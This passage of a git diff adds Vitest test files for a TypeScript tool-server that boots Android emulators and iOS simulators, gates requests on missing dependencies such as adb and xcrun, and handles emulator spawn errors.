+    // wedged-framebuffer guard passes. No snapshot probe, no spawn.
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "adb" && args[0] === "version")
+        return { stdout: "Android Debug Bridge\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "start-server") return { stdout: "", stderr: "" };
+      if (cmd === "emulator" && args[0] === "-list-avds")
+        return { stdout: "Pixel_7_API_34\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "devices") {
+        return { stdout: "List of devices attached\nemulator-5554\tdevice\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        const shellCmd = args[3] ?? "";
+        if (shellCmd === "getprop ro.boot.qemu.avd_name")
+          return { stdout: "Pixel_7_API_34\n", stderr: "" };
+        if (shellCmd.startsWith("getprop")) return { stdout: "unknown\n", stderr: "" };
+        if (shellCmd.startsWith("screencap")) return { stdout: "1\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const tool = createBootDeviceTool(registry);
+    const result = await tool.execute!({}, { avdName: "Pixel_7_API_34" });
+
+    expect(result).toMatchObject({
+      platform: "android",
+      serial: "emulator-5554",
+      avdName: "Pixel_7_API_34",
+      booted: true,
+    });
+    expect(spawnMock).not.toHaveBeenCalled();
+    expect(hasSnapshotMock).not.toHaveBeenCalled();
+    expect(probeMock).not.toHaveBeenCalled();
+  });
+
+  it("kills the running AVD and respawns when its framebuffer is wedged on the reuse path", async () => {
+    // The fast-path's BUG GUARD: if a long-running emulator drifts into the
+    // sticky-blank screencap state, returning that serial unchanged would
+    // hand the caller a device whose screenshots are silently all-zero.
+    // The guard kills the wedged emulator and falls through to a fresh boot.
+    hasSnapshotMock.mockResolvedValue(false); // force the cold-boot path post-kill
+    let killed = false;
+    let spawned = false;
+    spawnMock.mockImplementation(() => {
+      spawned = true;
+      return fakeChild();
+    });
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "adb" && args[0] === "version")
+        return { stdout: "Android Debug Bridge\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "start-server") return { stdout: "", stderr: "" };
+      if (cmd === "emulator" && args[0] === "-list-avds")
+        return { stdout: "Pixel_7_API_34\n", stderr: "" };
+      if (cmd === "adb" && args[0] === "devices") {
+        // Pre-kill: wedged emulator-5554 is listed. After kill but before
+        // the cold-boot spawn registers: empty (so emulator-5556 is *new*
+        // when it appears). Post-spawn: emulator-5556 is listed.
+        let line = "";
+        if (!killed) line = "emulator-5554\tdevice\n";
+        else if (spawned) line = "emulator-5556\tdevice\n";
+        return { stdout: `List of devices attached\n${line}`, stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "wait-for-device")
+        return { stdout: "", stderr: "" };
+      if (cmd === "adb" && args[0] === "-s" && args.includes("emu") && args.includes("kill")) {
+        killed = true;
+        return { stdout: "OK\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        const serial = args[1];
+        const shellCmd = args[3] ?? "";
+        if (shellCmd === "getprop ro.boot.qemu.avd_name")
+          return { stdout: "Pixel_7_API_34\n", stderr: "" };
+        if (shellCmd.startsWith("getprop sys.boot_completed")) return { stdout: "1\n", stderr: "" };
+        if (shellCmd.startsWith("getprop")) return { stdout: "unknown\n", stderr: "" };
+        if (shellCmd === "pm path android")
+          return { stdout: "package:/system/framework/framework-res.apk\n", stderr: "" };
+        if (shellCmd.startsWith("screencap")) {
+          // Wedged frame on the original serial; healthy on the respawn.
+          return { stdout: serial === "emulator-5554" ? "0\n" : "1\n", stderr: "" };
+        }
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const tool = createBootDeviceTool(registry);
+    const result = await tool.execute!({}, { avdName: "Pixel_7_API_34" });
+
+    expect(killed).toBe(true);
+    // Exactly one fresh spawn (the cold-boot fallback after the kill).
+    expect(spawnMock).toHaveBeenCalledTimes(1);
+    expect(spawnMock.mock.calls[0]![1]).toContain("-no-snapshot-load");
+    expect(result).toMatchObject({ serial: "emulator-5556" });
+  });
+});
diff --git a/packages/tool-server/test/boot-device-spawn-error.test.ts b/packages/tool-server/test/boot-device-spawn-error.test.ts
new file mode 100644
index 00000000..f586865d
--- /dev/null
+++ b/packages/tool-server/test/boot-device-spawn-error.test.ts
@@ -0,0 +1,173 @@
+/**
+ * Regression test: `attemptBoot` in `boot-device.ts` must register an `error`
+ * event handler on the spawned `emulator` ChildProcess. Node's spawn emits an
+ * `error` event when the binary cannot be exec'd (e.g. ENOENT/EACCES — emulator
+ * binary removed or permission flipped mid-flight, transient FS hiccup).
+ * EventEmitter convention is that an unhandled `error` event escapes as an
+ * uncaught exception that crashes the host process; without a listener, the
+ * tool-server would crash instead of returning a clean error to the caller.
+ *
+ * The boot promise must also reject (not hang) and the in-flight Map entry
+ * must be cleared so a retry doesn't coalesce into the dead promise.
+ */
+
+import { describe, it, expect, vi, beforeEach } from "vitest";
+
+const execFileMock = vi.fn();
+const spawnMock = vi.fn();
+
+vi.mock("node:child_process", async () => {
+  const actual = await vi.importActual<typeof import("node:child_process")>("node:child_process");
+  return {
+    ...actual,
+    execFile: (
+      cmd: string,
+      args: readonly string[],
+      opts: unknown,
+      cb?: (err: Error | null, out: { stdout: string; stderr: string }) => void
+    ) => {
+      const callback = typeof opts === "function" ? opts : cb!;
+      const options = typeof opts === "function" ? undefined : opts;
+      const result = execFileMock(cmd, args, options);
+      if (result instanceof Error) {
+        const e = result as Error & { stderr?: string; stdout?: string };
+        callback(e, { stdout: e.stdout ?? "", stderr: e.stderr ?? "" });
+      } else callback(null, result ?? { stdout: "", stderr: "" });
+    },
+    spawn: (cmd: string, args: string[], opts: unknown) => spawnMock(cmd, args, opts),
+  };
+});
+
+// `boot-device` now goes through `resolveAndroidBinary` for both ensureDep
+// and the spawn path. Stub the resolver to return the bare name so existing
+// `cmd === "adb" / "emulator"` and `spawnMock("emulator", ...)` matchers fire
+// regardless of host SDK install state.
+vi.mock("../src/utils/android-binary", () => ({
+  resolveAndroidBinary: vi.fn(async (name: "adb" | "emulator") => name),
+  __resetAndroidBinaryCacheForTesting: () => {},
+}));
+
+import { __primeDepCacheForTests, __resetDepCacheForTests } from "../src/utils/check-deps";
+import {
+  __resetInFlightBootsForTesting,
+  createBootDeviceTool,
+} from "../src/tools/devices/boot-device";
+import type { Registry } from "@argent/registry";
+import { EventEmitter } from "node:events";
+
+beforeEach(() => {
+  execFileMock.mockReset();
+  spawnMock.mockReset();
+  __resetDepCacheForTests();
+  __primeDepCacheForTests(["adb"]);
+  __resetInFlightBootsForTesting();
+});
+
+describe("boot-device — spawn error handling", () => {
+  it("registers an `error` listener on the spawned emulator child", async () => {
+    const proc = new EventEmitter() as EventEmitter & {
+      unref: () => void;
+      kill: (sig?: string) => boolean;
+      exitCode: number | null;
+      signalCode: NodeJS.Signals | null;
+    };
+    proc.unref = () => {};
+    proc.kill = () => true;
+    proc.exitCode = null;
+    proc.signalCode = null;
+    spawnMock.mockReturnValue(proc);
+
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "emulator" && args[0] === "-list-avds") {
+        return { stdout: "Pixel_7_API_34\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "version") {
+        return { stdout: "Android Debug Bridge\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "start-server") return { stdout: "", stderr: "" };
+      if (cmd === "adb" && args[0] === "devices") {
+        return { stdout: "List of devices attached\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const registry: Registry = { resolveService: async () => ({}) } as unknown as Registry;
+    const tool = createBootDeviceTool(registry);
+    const promise = tool.execute!({}, { avdName: "Pixel_7_API_34", bootTimeoutMs: 30_000 });
+    promise.catch(() => {}); // detach so the test doesn't hang after assertion
+
+    // Give the impl one tick to subscribe to the proc.
+    await new Promise((r) => setTimeout(r, 50));
+
+    // Without an `error` listener, an emitted error escapes as an uncaught
+    // exception and crashes the tool-server.
+    expect(proc.listenerCount("error")).toBeGreaterThan(0);
+  }, 5_000);
+
+  it("rejects the boot promise and clears the in-flight entry when spawn emits `error`", async () => {
+    const proc = new EventEmitter() as EventEmitter & {
+      unref: () => void;
+      kill: (sig?: string) => boolean;
+      exitCode: number | null;
+      signalCode: NodeJS.Signals | null;
+    };
+    proc.unref = () => {};
+    proc.kill = () => true;
+    proc.exitCode = null;
+    proc.signalCode = null;
+    spawnMock.mockReturnValue(proc);
+
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "emulator" && args[0] === "-list-avds") {
+        return { stdout: "Pixel_7_API_34\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "version") {
+        return { stdout: "Android Debug Bridge\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "start-server") return { stdout: "", stderr: "" };
+      if (cmd === "adb" && args[0] === "devices") {
+        return { stdout: "List of devices attached\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const registry: Registry = { resolveService: async () => ({}) } as unknown as Registry;
+    const tool = createBootDeviceTool(registry);
+    const promise = tool.execute!({}, { avdName: "Pixel_7_API_34", bootTimeoutMs: 30_000 });
+
+    // Let attemptBoot subscribe to the proc.
+    await new Promise((r) => setTimeout(r, 50));
+
+    // Simulate ENOENT — emulator binary missing/exec failure.
+    const spawnErr = new Error("spawn ENOENT") as NodeJS.ErrnoException;
+    spawnErr.code = "ENOENT";
+    proc.emit("error", spawnErr);
+
+    // The boot promise must reject (not hang) — the error must surface to the caller.
+    await expect(promise).rejects.toThrow(/ENOENT|spawn|emulator/i);
+
+    // The in-flight Map entry must be cleared so a retry doesn't coalesce
+    // into the dead promise. We assert this indirectly: a second call for the
+    // same AVD must invoke spawn again rather than awaiting the prior promise.
+    spawnMock.mockClear();
+
+    const secondProc = new EventEmitter() as EventEmitter & {
+      unref: () => void;
+      kill: (sig?: string) => boolean;
+      exitCode: number | null;
+      signalCode: NodeJS.Signals | null;
+    };
+    secondProc.unref = () => {};
+    secondProc.kill = () => true;
+    secondProc.exitCode = null;
+    secondProc.signalCode = null;
+    spawnMock.mockReturnValue(secondProc);
+
+    const second = tool.execute!({}, { avdName: "Pixel_7_API_34", bootTimeoutMs: 30_000 });
+    second.catch(() => {}); // detach
+
+    // Give the second call a tick to reach spawn.
+    await new Promise((r) => setTimeout(r, 50));
+    expect(spawnMock).toHaveBeenCalled();
+  }, 10_000);
+});
diff --git a/packages/tool-server/test/boot-device.test.ts b/packages/tool-server/test/boot-device.test.ts
new file mode 100644
index 00000000..d9dd2f77
--- /dev/null
+++ b/packages/tool-server/test/boot-device.test.ts
@@ -0,0 +1,151 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import type { Registry } from "@argent/registry";
+
+type ExecFileCallback = (error: Error | null, stdout?: string, stderr?: string) => void;
+
+const mockExecFile = vi.fn();
+
+function getCallback(args: unknown[]): ExecFileCallback {
+  const callback = args[args.length - 1];
+  if (typeof callback !== "function") {
+    throw new Error("Missing execFile callback");
+  }
+  return callback as ExecFileCallback;
+}
+
+vi.mock("node:child_process", async () => {
+  const actual = await vi.importActual<typeof import("node:child_process")>("node:child_process");
+  return {
+    ...actual,
+    execFile: (...args: unknown[]) => mockExecFile(...args),
+  };
+});
+
+import { createBootDeviceTool } from "../src/tools/devices/boot-device";
+import { __primeDepCacheForTests, __resetDepCacheForTests } from "../src/utils/check-deps";
+
+describe("boot-device — iOS path", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    // Pre-warm the dep cache so `ensureDep('xcrun')` doesn't probe PATH and
+    // add an extra first `command -v xcrun` call to mockExecFile.
+    __resetDepCacheForTests();
+    __primeDepCacheForTests(["xcrun", "adb"]);
+    mockExecFile.mockImplementation((...args: unknown[]) => {
+      getCallback(args)(null, "", "");
+      return {} as never;
+    });
+  });
+
+  it("waits for boot completion and native-devtools init before returning", async () => {
+    const resolveService = vi.fn(async () => {});
+    const registry = {
+      resolveService,
+    } as unknown as Registry;
+
+    const tool = createBootDeviceTool(registry);
+
+    await expect(
+      tool.execute!({}, { udid: "11111111-1111-1111-1111-111111111111" })
+    ).resolves.toEqual({
+      platform: "ios",
+      udid: "11111111-1111-1111-1111-111111111111",
+      booted: true,
+    });
+
+    expect(mockExecFile.mock.calls.map(([file, args]) => [file, args])).toEqual([
+      ["xcrun", ["simctl", "boot", "11111111-1111-1111-1111-111111111111"]],
+      ["xcrun", ["simctl", "bootstatus", "11111111-1111-1111-1111-111111111111", "-b"]],
+      [
+        "defaults",
+        [
+          "write",
+          "com.apple.iphonesimulator",
+          "CurrentDeviceUDID",
+          "11111111-1111-1111-1111-111111111111",
+        ],
+      ],
+      ["open", ["-a", "Simulator.app"]],
+    ]);
+    expect(resolveService).toHaveBeenCalledWith(
+      "NativeDevtools:11111111-1111-1111-1111-111111111111",
+      { device: { id: "11111111-1111-1111-1111-111111111111", platform: "ios", kind: "simulator" } }
+    );
+    // NativeDevtools must be primed AFTER bootstatus returns (launchd env is
+    // only reachable once the simulator is fully up) and BEFORE `open`, so
+    // the UI reflects the injected state on first paint.
+    expect(resolveService.mock.invocationCallOrder[0]).toBeGreaterThan(
+      mockExecFile.mock.invocationCallOrder[1]
+    );
+    expect(resolveService.mock.invocationCallOrder[0]).toBeLessThan(
+      mockExecFile.mock.invocationCallOrder[2]
+    );
+  });
+
+  it("still primes native-devtools when simctl reports the simulator is already booted", async () => {
+    mockExecFile
+      .mockImplementationOnce((...args: unknown[]) => {
+        getCallback(args)(new Error("Unable to boot device in current state: Booted"));
+        return {} as never;
+      })
+      .mockImplementation((...args: unknown[]) => {
+        getCallback(args)(null, "", "");
+        return {} as never;
+      });
+
+    const resolveService = vi.fn(async () => {});
+    const registry = { resolveService } as unknown as Registry;
+
+    const tool = createBootDeviceTool(registry);
+
+    await expect(
+      tool.execute!({}, { udid: "22222222-2222-2222-2222-222222222222" })
+    ).resolves.toEqual({
+      platform: "ios",
+      udid: "22222222-2222-2222-2222-222222222222",
+      booted: true,
+    });
+
+    expect(mockExecFile.mock.calls[1]?.slice(0, 2)).toEqual([
+      "xcrun",
+      ["simctl", "bootstatus", "22222222-2222-2222-2222-222222222222", "-b"],
+    ]);
+    expect(resolveService).toHaveBeenCalledWith(
+      "NativeDevtools:22222222-2222-2222-2222-222222222222",
+      { device: { id: "22222222-2222-2222-2222-222222222222", platform: "ios", kind: "simulator" } }
+    );
+  });
+});
+
+describe("boot-device — input validation (exclusive udid/avdName)", () => {
+  // The zodSchema marks both udid and avdName as optional so the JSON schema
+  // advertises both; the execute function enforces that exactly one is set.
+  // These tests pin the mutual-exclusion rule at the execute boundary where
+  // callers actually hit it.
+
+  it("rejects when both udid and avdName are provided — ambiguous target", async () => {
+    const tool = createBootDeviceTool({ resolveService: async () => {} } as unknown as Registry);
+    await expect(
+      tool.execute!(
+        {},
+        {
+          udid: "11111111-1111-1111-1111-111111111111",
+          avdName: "Pixel_7_API_34",
+        }
+      )
+    ).rejects.toThrow(/exactly one of `udid` .* or `avdName`/);
+  });
+
+  it("rejects when neither udid nor avdName is provided — no target", async () => {
+    const tool = createBootDeviceTool({ resolveService: async () => {} } as unknown as Registry);
+    await expect(tool.execute!({}, {})).rejects.toThrow(/exactly one of `udid`/);
+  });
+
+  it("bounds bootTimeoutMs to [30s, 15min]", () => {
+    // Timeouts should fail at the zod layer before reaching execute.
+    const tool = createBootDeviceTool({} as unknown as Registry);
+    expect(tool.zodSchema.safeParse({ avdName: "x", bootTimeoutMs: 29_999 }).success).toBe(false);
+    expect(tool.zodSchema.safeParse({ avdName: "x", bootTimeoutMs: 900_001 }).success).toBe(false);
+    expect(tool.zodSchema.safeParse({ avdName: "x", bootTimeoutMs: 60_000 }).success).toBe(true);
+  });
+});
diff --git a/packages/tool-server/test/check-deps.test.ts b/packages/tool-server/test/check-deps.test.ts
new file mode 100644
index 00000000..b3db50d0
--- /dev/null
+++ b/packages/tool-server/test/check-deps.test.ts
@@ -0,0 +1,107 @@
+import { describe, it, expect, beforeEach, vi } from "vitest";
+
+const execFileMock = vi.fn();
+vi.mock("node:child_process", async () => {
+  const actual = await vi.importActual<typeof import("node:child_process")>("node:child_process");
+  return { ...actual, execFile: (...args: unknown[]) => execFileMock(...args) };
+});
+
+// `probe()` now special-cases adb / emulator to use `resolveAndroidBinary`
+// (which adds an `$ANDROID_HOME` fallback on top of PATH). Mock the resolver
+// so each test controls availability per-dep instead of fighting the host's
+// real $ANDROID_HOME — otherwise a dev machine with the SDK installed would
+// always report adb/emulator as available regardless of `stubProbe`.
+const resolveAndroidBinaryMock = vi.fn();
+vi.mock("../src/utils/android-binary", () => ({
+  resolveAndroidBinary: (name: "adb" | "emulator") => resolveAndroidBinaryMock(name),
+  __resetAndroidBinaryCacheForTesting: () => {},
+}));
+
+import {
+  DependencyMissingError,
+  __resetDepCacheForTests,
+  ensureDep,
+  ensureDeps,
+} from "../src/utils/check-deps";
+
+/**
+ * The real `command -v` uses execFile's error-on-nonzero-exit contract. We
+ * mimic that: when the shell command would succeed, invoke the node-style
+ * callback with `(null, stdout, stderr)`; when it would fail, pass an
+ * Error. This matches how `promisify(execFile)` sees the result.
+ */
+function stubProbe(missing: readonly string[]): void {
+  // PATH probe (used for xcrun and any non-Android dep): mock /bin/sh `command -v <dep>`
+  execFileMock.mockImplementation(
+    (
+      _cmd: string,
+      args: string[],
+      _opts: unknown,
+      cb: (err: Error | null, stdout?: string, stderr?: string) => void
+    ) => {
+      const script = args[1] ?? "";
+      const dep = script.replace("command -v ", "").trim();
+      if (missing.includes(dep)) cb(new Error(`not found: ${dep}`));
+      else cb(null, `/usr/bin/${dep}\n`, "");
+    }
+  );
+  // Android resolver path (used for adb / emulator): return null when the
+  // caller wants the dep treated as missing, otherwise an absolute path.
+  resolveAndroidBinaryMock.mockImplementation(async (name: string) => {
+    return missing.includes(name) ? null : `/usr/bin/${name}`;
+  });
+}
+
+describe("check-deps", () => {
+  beforeEach(() => {
+    __resetDepCacheForTests();
+    execFileMock.mockReset();
+    resolveAndroidBinaryMock.mockReset();
+  });
+
+  it("returns without throwing when all deps are on PATH", async () => {
+    stubProbe([]);
+    await expect(ensureDeps(["xcrun", "adb"])).resolves.toBeUndefined();
+  });
+
+  it("throws DependencyMissingError listing only the missing deps", async () => {
+    stubProbe(["adb"]);
+    await expect(ensureDeps(["xcrun", "adb"])).rejects.toMatchObject({
+      name: "DependencyMissingError",
+      missing: ["adb"],
+    });
+  });
+
+  it("reports all missing deps in a single error message when both are absent", async () => {
+    stubProbe(["adb", "xcrun"]);
+    try {
+      await ensureDeps(["xcrun", "adb"]);
+      expect.fail("expected ensureDeps to reject");
+    } catch (err) {
+      expect(err).toBeInstanceOf(DependencyMissingError);
+      const e = err as DependencyMissingError;
+      expect(e.missing).toEqual(expect.arrayContaining(["adb", "xcrun"]));
+      expect(e.message).toMatch(/xcode-select --install/);
+      expect(e.message).toMatch(/android-platform-tools/);
+    }
+  });
+
+  it("caches probe results within the TTL so a burst of calls shells out once per dep", async () => {
+    stubProbe([]);
+    await ensureDeps(["xcrun"]);
+    await ensureDeps(["xcrun"]);
+    await ensureDeps(["xcrun"]);
+    expect(execFileMock).toHaveBeenCalledTimes(1);
+  });
+
+  it("is a no-op when the deps array is empty", async () => {
+    stubProbe([]);
+    await ensureDeps([]);
+    expect(execFileMock).not.toHaveBeenCalled();
+  });
+
+  it("ensureDep is the single-dep form of ensureDeps", async () => {
+    stubProbe(["xcrun"]);
+    await expect(ensureDep("xcrun")).rejects.toBeInstanceOf(DependencyMissingError);
+  });
+});
diff --git a/packages/tool-server/test/describe-missing-xcrun-424.test.ts b/packages/tool-server/test/describe-missing-xcrun-424.test.ts
new file mode 100644
index 00000000..c3ca457c
--- /dev/null
+++ b/packages/tool-server/test/describe-missing-xcrun-424.test.ts
@@ -0,0 +1,83 @@
+/**
+ * `describe` on iOS shells out to xcrun via the ax-service blueprint factory
+ * (`ensureAutomationEnabled` → `xcrun simctl spawn ...`). When xcrun is
+ * missing — Linux runner, broken Xcode toolchain, etc. — the spawn rejects
+ * with ENOENT and the error bubbles up to the HTTP layer as a 500 with a raw
+ * "spawn xcrun ENOENT" message.
+ *
+ * Every other cross-platform iOS tool (`launch-app`, `restart-app`,
+ * `open-url`, `reinstall-app`) declares `requires: ["xcrun"]` on its
+ * `dispatchByPlatform` iOS branch, so missing-xcrun is short-circuited into
+ * a `424 Failed Dependency` with the `xcode-select --install` install hint.
+ *
+ * This test pins that contract for `describe`.
+ */
+import { describe, it, expect, beforeEach, vi } from "vitest";
+import request from "supertest";
+import { Registry } from "@argent/registry";
+
+const execFileMock = vi.fn();
+vi.mock("node:child_process", async () => {
+  const actual = await vi.importActual<typeof import("node:child_process")>("node:child_process");
+  return { ...actual, execFile: (...args: unknown[]) => execFileMock(...args) };
+});
+
+vi.mock("@argent/native-devtools-ios", () => ({
+  bootstrapDylibPath: () => "/fake/bootstrap.dylib",
+  simulatorServerBinaryPath: () => "/fake/sim-server",
+  simulatorServerBinaryDir: () => "/fake",
+  axServiceBinaryPath: () => "/fake/ax-service",
+}));
+
+import { createHttpApp } from "../src/http";
+import { __resetDepCacheForTests } from "../src/utils/check-deps";
+import { createDescribeTool } from "../src/tools/describe";
+import { axServiceBlueprint } from "../src/blueprints/ax-service";
+import { nativeDevtoolsBlueprint } from "../src/blueprints/native-devtools";
+
+describe("describe → 424 when xcrun is missing", () => {
+  beforeEach(() => {
+    __resetDepCacheForTests();
+    execFileMock.mockReset();
+  });
+
+  it("returns 424 (Failed Dependency) with the xcode-select install hint", async () => {
+    // Both probes — `command -v xcrun` and a bare `xcrun ...` invocation —
+    // fail. Any deeper xcrun call would also ENOENT, but the dep gate should
+    // fire first.
+    execFileMock.mockImplementation(
+      (
+        cmd: string,
+        _args: string[],
+        _opts: unknown,
+        cb: (err: Error | null, stdout?: string, stderr?: string) => void
+      ) => {
+        if (cmd === "/bin/sh") {
+          cb(new Error("not found"));
+          return;
+        }
+        if (cmd === "xcrun") {
+          const err = new Error("spawn xcrun ENOENT") as NodeJS.ErrnoException;
+          err.code = "ENOENT";
+          cb(err);
+          return;
+        }
+        cb(null, "", "");
+      }
+    );
+
+    const registry = new Registry();
+    registry.registerBlueprint(axServiceBlueprint);
+    registry.registerBlueprint(nativeDevtoolsBlueprint);
+    registry.registerTool(createDescribeTool(registry));
+
+    const { app } = createHttpApp(registry);
+    const res = await request(app)
+      .post("/tools/describe")
+      .send({ udid: "11111111-1111-1111-1111-111111111111" });
+
+    expect(res.status).toBe(424);
+    expect(res.body.error).toMatch(/xcode-select --install/);
+    expect(res.body.missing).toEqual(["xcrun"]);
+  });
+});
diff --git a/packages/tool-server/test/http-dep-gate.test.ts b/packages/tool-server/test/http-dep-gate.test.ts
new file mode 100644
index 00000000..4d63f779
--- /dev/null
+++ b/packages/tool-server/test/http-dep-gate.test.ts
@@ -0,0 +1,157 @@
+import { describe, it, expect, beforeEach, vi } from "vitest";
+import request from "supertest";
+import { Registry } from "@argent/registry";
+import { z } from "zod";
+
+const execFileMock = vi.fn();
+vi.mock("node:child_process", async () => {
+  const actual = await vi.importActual<typeof import("node:child_process")>("node:child_process");
+  return { ...actual, execFile: (...args: unknown[]) => execFileMock(...args) };
+});
+
+// `probe()` special-cases adb/emulator to use `resolveAndroidBinary`
+// (which adds an `$ANDROID_HOME` fallback to PATH). Mock the resolver so
+// each test controls availability per-dep instead of fighting the host's
+// real $ANDROID_HOME.
+const resolveAndroidBinaryMock = vi.fn();
+vi.mock("../src/utils/android-binary", () => ({
+  resolveAndroidBinary: (name: "adb" | "emulator") => resolveAndroidBinaryMock(name),
+  __resetAndroidBinaryCacheForTesting: () => {},
+}));
+
+import { createHttpApp } from "../src/http";
+import {
+  DependencyMissingError,
+  __resetDepCacheForTests,
+  ensureDep,
+} from "../src/utils/check-deps";
+
+function stubProbe(missing: readonly string[]): void {
+  execFileMock.mockImplementation(
+    (
+      _cmd: string,
+      args: string[],
+      _opts: unknown,
+      cb: (err: Error | null, stdout?: string, stderr?: string) => void
+    ) => {
+      const script = args[1] ?? "";
+      const dep = script.replace("command -v ", "").trim();
+      if (missing.includes(dep)) cb(new Error(`not found: ${dep}`));
+      else cb(null, `/usr/bin/${dep}\n`, "");
+    }
+  );
+  resolveAndroidBinaryMock.mockImplementation(async (name: string) => {
+    return missing.includes(name) ? null : `/usr/bin/${name}`;
+  });
+}
+
+describe("http dependency gate", () => {
+  beforeEach(() => {
+    __resetDepCacheForTests();
+    execFileMock.mockReset();
+    resolveAndroidBinaryMock.mockReset();
+  });
+
+  it("returns 424 with a pretty message when a pre-flight dep is missing", async () => {
+    stubProbe(["adb"]);
+    const registry = new Registry();
+    registry.registerTool({
+      id: "android-thing",
+      requires: ["adb"],
+      zodSchema: z.object({}),
+      services: () => ({}),
+      async execute() {
+        // Should never run — the dep gate blocks the request before execute.
+        throw new Error("execute should have been skipped");
+      },
+    });
+    const { app } = createHttpApp(registry);
+    const res = await request(app).post("/tools/android-thing").send({});
+    expect(res.status).toBe(424);
+    expect(res.body.error).toMatch(/android-platform-tools/);
+  });
+
+  it("invokes the tool normally when declared deps are present", async () => {
+    stubProbe([]);
+    const registry = new Registry();
+    registry.registerTool({
+      id: "ios-thing",
+      requires: ["xcrun"],
+      zodSchema: z.object({}),
+      services: () => ({}),
+      async execute() {
+        return { ran: true };
+      },
+    });
+    const { app } = createHttpApp(registry);
+    const res = await request(app).post("/tools/ios-thing").send({});
+    expect(res.status).toBe(200);
+    expect(res.body.data).toEqual({ ran: true });
+  });
+
+  it("surfaces a DependencyMissingError thrown from inside execute (post-classify path) as 424", async () => {
+    // Two probes expected: the first stubs all missing; the second call (for
+    // the cross-platform tool's in-execute ensureDep) re-probes adb and finds
+    // it still missing. This is the cross-platform tool pattern: `requires`
+    // is absent so the pre-flight gate doesn't fire, and the dep check
+    // happens after classifyDevice has picked android.
+    stubProbe(["adb"]);
+    const registry = new Registry();
+    registry.registerTool({
+      id: "cross-platform-thing",
+      zodSchema: z.object({}),
+      services: () => ({}),
+      async execute() {
+        // Simulate the classify → ensureDep pattern used by launch-app etc.
+        await ensureDep("adb");
+        return { ran: true };
+      },
+    });
+    const { app } = createHttpApp(registry);
+    const res = await request(app).post("/tools/cross-platform-thing").send({});
+    expect(res.status).toBe(424);
+    expect(res.body.error).toMatch(/android-platform-tools/);
+  });
+
+  it("does not call the dep probe for tools without a `requires` declaration", async () => {
+    stubProbe([]);
+    const registry = new Registry();
+    registry.registerTool({
+      id: "no-deps",
+      zodSchema: z.object({}),
+      services: () => ({}),
+      async execute() {
+        return { ran: true };
+      },
+    });
+    const { app } = createHttpApp(registry);
+    const res = await request(app).post("/tools/no-deps").send({});
+    expect(res.status).toBe(200);
+    expect(execFileMock).not.toHaveBeenCalled();
+  });
+
+  it("still returns 424 when the DependencyMissingError is buried two levels deep in the cause chain", async () => {
+    // The registry wraps execute() errors in ToolExecutionError with `cause`.
+    // If a future middleware adds a second wrap (or something else does), a
+    // naive one-level `.cause` check regresses 424 → 500. Walk the chain.
+    stubProbe([]);
+    const registry = new Registry();
+    registry.registerTool({
+      id: "double-wrap",
+      zodSchema: z.object({}),
+      services: () => ({}),
+      async execute() {
+        const inner = new DependencyMissingError(["adb"], "install adb please");
+        const middle = new Error("outer wrap") as Error & { cause?: unknown };
+        middle.cause = inner;
+        const outer = new Error("tool failed") as Error & { cause?: unknown };
+        outer.cause = middle;
+        throw outer;
+      },
+    });
+    const { app } = createHttpApp(registry);
+    const res = await request(app).post("/tools/double-wrap").send({});
+    expect(res.status).toBe(424);
+    expect(res.body.error).toBe("install adb please");
+  });
+});
diff --git a/packages/tool-server/test/ios-only-blueprint-gate.test.ts b/packages/tool-server/test/ios-only-blueprint-gate.test.ts
new file mode 100644
index 00000000..d43cf7c6
--- /dev/null
+++ b/packages/tool-server/test/ios-only-blueprint-gate.test.ts
@@ -0,0 +1,99 @@
+import { describe, it, expect, vi } from "vitest";
+import type { DeviceInfo } from "@argent/registry";
+
+// The native-profiler and native-devtools blueprints both open real OS
+// resources (sockets, processes) if we let them reach past the gate. Stub the
+// heavy bits so the only behavior under test is the iOS/Android classification
+// throw.
+vi.mock("@argent/native-devtools-ios", () => ({
+  bootstrapDylibPath: () => "/fake/bootstrap.dylib",
+  simulatorServerBinaryPath: () => "/fake/sim-server",
+  simulatorServerBinaryDir: () => "/fake",
+}));
+
+import { nativeDevtoolsBlueprint } from "../src/blueprints/native-devtools";
+import { nativeProfilerSessionBlueprint } from "../src/blueprints/native-profiler-session";
+import { axServiceBlueprint } from "../src/blueprints/ax-service";
+
+function iosDevice(udid: string): DeviceInfo {
+  return { id: udid, platform: "ios", kind: "simulator" };
+}
+
+function androidDevice(serial: string): DeviceInfo {
+  return { id: serial, platform: "android", kind: "emulator" };
+}
+
+describe("iOS-only blueprints reject Android targets up-front", () => {
+  // Agents see both iOS and Android targets in list-devices. Feeding an Android
+  // serial to a tool backed by an iOS-only blueprint (native-devtools,
+  // native-profiler-session) used to resolve the service, fail deep in
+  // launchctl / xctrace / socket connect, and surface as an opaque error.
+  // These gates turn that into a clear "iOS-only, pick an iOS udid" message
+  // at the blueprint boundary — using the caller-supplied DeviceInfo, not a
+  // re-classification of the URN payload.
+
+  it("native-devtools blueprint rejects an Android device with a targeted error", async () => {
+    const device = androidDevice("emulator-5554");
+    await expect(nativeDevtoolsBlueprint.factory({}, device, { device })).rejects.toThrow(
+      /NativeDevtools is iOS-only.*Android/
+    );
+  });
+
+  it("native-profiler-session blueprint rejects an Android device with a targeted error", async () => {
+    const device = androidDevice("emulator-5556");
+    await expect(nativeProfilerSessionBlueprint.factory({}, device, { device })).rejects.toThrow(
